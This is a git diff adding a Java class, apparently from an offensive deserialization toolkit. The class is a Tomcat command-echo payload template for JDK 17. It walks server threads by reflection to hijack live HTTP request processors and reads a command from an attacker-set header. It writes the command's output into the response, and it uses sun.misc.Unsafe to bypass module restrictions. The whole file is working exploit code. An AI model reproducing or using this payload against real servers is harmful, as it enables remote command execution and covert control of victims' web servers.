diff --git a/src/main/java/com/qi4l/JYso/template/echoJDK17/CTomcatEcho17.java b/src/main/java/com/qi4l/JYso/template/echoJDK17/CTomcatEcho17.java new file mode 100644 index 0000000..edbd896 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/echoJDK17/CTomcatEcho17.java @@ -0,0 +1,107 @@ +package com.qi4l.JYso.template.echoJDK17; + +import sun.misc.Unsafe; + +import java.lang.reflect.Field; + +// 回显类在jdk17下的改造,解决JDK17下只能加载一次的问题 +public class CTomcatEcho17 { + public static String CMD_HEADER; + + public CTomcatEcho17() { + Object originalModule = patchModule(this.getClass(), null); + + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + Object req = f.get(processor); + Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); + str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); + if (str != null && !str.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200)); + java.io.ByteArrayOutputStream baos = q(str); + try { + Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); + obj = cls.newInstance(); + cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } catch (NoSuchMethodException var5) { + Class cls = Class.forName("java.nio.ByteBuffer", false, loader); + obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()}); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } + flag = true; + } + if (flag) break; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } finally { + patchModule(this.getClass(), originalModule); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + + private Object patchModule(Class clazz, Object originalModule) { + try { + Class UnsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) unsafeField.get(null); + if (originalModule == null) { + originalModule = Class.class.getMethod("getModule").invoke(Object.class); + } + Class currentClass = clazz; + long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); + return unsafe.getAndSetObject(currentClass, addr, originalModule); + } catch (Exception e) { + } + return null; + } + +}